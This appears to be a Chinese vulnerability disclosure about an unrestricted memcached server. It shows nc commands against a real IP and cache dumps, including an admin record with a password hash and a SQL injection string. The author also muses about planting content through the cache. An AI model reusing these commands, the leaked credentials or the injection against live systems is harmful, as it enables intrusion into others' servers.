memcached未作IP限制导致缓存数据可被攻击者控制

漏洞证明：

C:\>nc -vv 61.135.178.118 11211 61.135.178.118: inverse host lookup failed: h_errno 11004: NO_DATA (UNKNOWN) [61.135.178.118] 11211 (?) open stats items STAT items:4:number 1544729 STAT items:4:age 4772005 STAT items:5:number 101088 STAT items:5:age 18142497 STAT items:6:number 729610 STAT items:6:age 1410176 STAT items:7:number 1019924 STAT items:7:age 2873336 STAT items:8:number 1458432 STAT items:8:age 1503000 STAT items:9:number 155117 STAT items:9:age 600906 STAT items:10:number 159866 STAT items:10:age 1730665 STAT items:11:number 12428 STAT items:11:age 902232 STAT items:12:number 762 STAT items:12:age 7623799 END stats cachedump 12 10 ITEM 176174226#me [1020 b; 1249516659 s] ITEM 173853058#me [1053 b; 1249516659 s] ITEM 184790733#me [1031 b; 1249516659 s] ITEM 184189728#me [1047 b; 1249516659 s] ITEM 184067484#me [1050 b; 1249516659 s] ITEM 179228126#me [1043 b; 1249516659 s] ITEM 180014248#me [1018 b; 1249516659 s] ITEM 184112063#me [1024 b; 1249516659 s] ITEM 171451939#me [1026 b; 1249516659 s] ITEM 154896159#me [1038 b; 1249516659 s] END 这是某博客的cache

浏览了一下得到的URL，确定是那个cache取到的数据。如果我replace一下，能不能挂点东西？ update： 扫描了3个C类，发现了更多有意思的东西，如passport之类: get admin_user_admin VALUE admin_user_admin 1 207 a:8:{s:3:"uid";s:1:"1";s:8:"username";s:5:"admin";s:6:"passwd";s:32:"da2100201af e5c13dcdbb197b65f8bab";s:7:"regdate";s:1:"0";s:7:"logdate";s:1:"0";s:5:"logip";s :0:"";s:5:"intro";s:0:"";s:5:"level";s:2:"99";} 还有cache的被人注入的SQL语句，ITEM adidas_time_date_product_day_clickcount_1299_and_1=2_union_select_1,user(), version(),4,5,6,database(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,2 6,27,28,29,30,31,32,33 [1 b; 1261980551 s]，嘿嘿。